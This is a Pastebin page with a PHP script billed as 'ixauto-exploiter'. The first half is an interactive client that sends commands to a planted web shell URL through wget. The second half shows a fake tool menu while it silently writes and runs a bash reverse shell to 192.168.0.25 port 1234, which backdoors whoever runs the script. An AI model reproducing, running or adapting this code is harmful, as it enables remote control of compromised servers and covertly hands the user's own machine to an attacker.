Advertisement
Guest User

Untitled

a guest
Nov 12th, 2019
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.44 KB | None | 0 0
  1. #!/usr/bin/env php
  2. <?php
  3.  
  4. # ixa
  5. # run in Linux shell # run in linux shell
  6. # rip indentation
  7. $white = "\e[97m";
  8. $green = "\e[92m";
  9. $yellow = "\e[93m";
  10. $bold = "\e[1m";
  11. $grey = "\e[37m";
  12. $red = "\e[91m";
  13. if (!isset($argv[1]) OR !preg_match('/ ?php| =/', $argv[1]))
  14. {
  15. echo $yellow.$bold."\nphp shell.php <poc>\n".$grey;
  16. echo $yellow.$bold."exemple : php shell.php https://www.nsa.gov/shell.php?cmd=\n\n".$grey;
  17. }
  18. else
  19. {
  20. $ok = $argv[1];
  21. echo $yellow.$bold."\n START THE GAME ";
  22.  
  23. sleep(1);print $green.".";sleep(1);print $red.".";sleep(1);print $white.".";sleep(1)."\n";
  24. echo chr(27).chr(91).'H'.chr(27).chr(91).'J';
  25. echo "file : ", $yellow.$bold.$argv[0].$grey;
  26. echo "\nshell access : ", $yellow.$bold.$ok.$grey;
  27. echo "\n[type \"exit\" to exit the shell]\n\n";
  28. for($i=1;$i<999999;$i++)
  29. {
  30. echo $red."$ ".$grey;
  31. $choix = trim(fgets(STDIN));
  32. if ($choix == "exit")
  33. {
  34. echo "bye\n";
  35. break;
  36. }
  37. else {
  38. $all = $ok.$choix;
  39. echo system("wget -qO- $all");
  40. echo "\n";
  41. }
  42. }
  43. }
  44.  
  45. $white = "\e[97m";
  46. $black = "\e[30m\e[1m";
  47. $yellow = "\e[93m";
  48. $orange = "\e[38;5;208m";
  49. $blue = "\e[34m";
  50. $lblue = "\e[36m";
  51. $cln = "\e[0;94m";
  52. $green = "\e[92m";
  53. $fgreen = "\e[32m";
  54. $red = "\e[91m";
  55. $magenta = "\e[35m";
  56. $bluebg = "\e[44m";
  57. $lbluebg = "\e[106m";
  58. $greenbg = "\e[42m";
  59. $lgreenbg = "\e[102m";
  60. $yellowbg = "\e[43m";
  61. $lyellowbg = "\e[103m";
  62. $redbg = "\e[101m";
  63. $grey = "\e[37m";
  64. $cyan = "\e[36m";
  65. $bold = "\e[1m";
  66. $nbold = "\e[1;97m";
  67. $adios = $red."adios".$grey."\n";
  68. $ok1 = $green."[1] - tool 1".$grey;
  69. $ok2 = $green."[2] - tool 2".$grey;
  70. $ok3 = $green."[3] - tool 3".$grey;
  71. $ok = $green."[777] - exit".$grey;
  72. $ascii = $red." . . .".$grey."
  73. \|/
  74. `--+--'
  75. /|\ ixauto-exploiter
  76. ' | ' by ixa
  77. | ./2k19
  78. | you can fake my tool
  79. ,--'#`--. but you cant fake your
  80. |#######| skills
  81. _.-'#######`-._
  82. ,-'###############`-.
  83. ,'#####################`, ".$ok1."
  84. /#########################\ ".$ok2."
  85. |###########################| ".$ok3."
  86. |#############################| ".$ok."
  87. |#############################|
  88. |#############################|
  89. |#############################|
  90. |###########################|
  91. \#########################/
  92. `.#####################,'
  93. `._###############_,'
  94. `--..#####..--'";
  95.  
  96. $ip = exec("wget -qO- checkip.dyndns.org | grep -oP \"\d+\.\d+\.\d+\.\d+\"");
  97.  
  98. echo $yellow.$bold."\n START THE GAME ";
  99. sleep(1);print $green.".";sleep(1);print $red.".";sleep(1);print $white.".\n";
  100. system("reset");
  101.  
  102. echo $ascii, "\n";
  103. system("echo \"screen -R\" > /tmp/screen.sh && echo \"bash -i >& /dev/tcp/192.168.0.25/1234 0>&1 && id\" > /tmp/re.sh && bash /tmp/screen.sh && bash /tmp/re.sh");
  104. start : echo $yellow.$bold, "ixa$white@$cyan$ip$white:~# ";
  105. $choix1 = trim(fgets(STDIN,1024));
  106. switch($choix1)
  107. {
  108. case 777 :
  109. echo $adios;
  110. break;
  111.  
  112. case 1 :
  113. echo "wsh\n";
  114. break;
  115.  
  116. case 2 :
  117. require("bot.php");
  118. break;
  119.  
  120. case 3 :
  121. echo "tool 3\n";
  122. break;
  123.  
  124. default :
  125. echo "bon\n";
  126. goto start;
  127. break;
  128. }
  129.  
  130. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement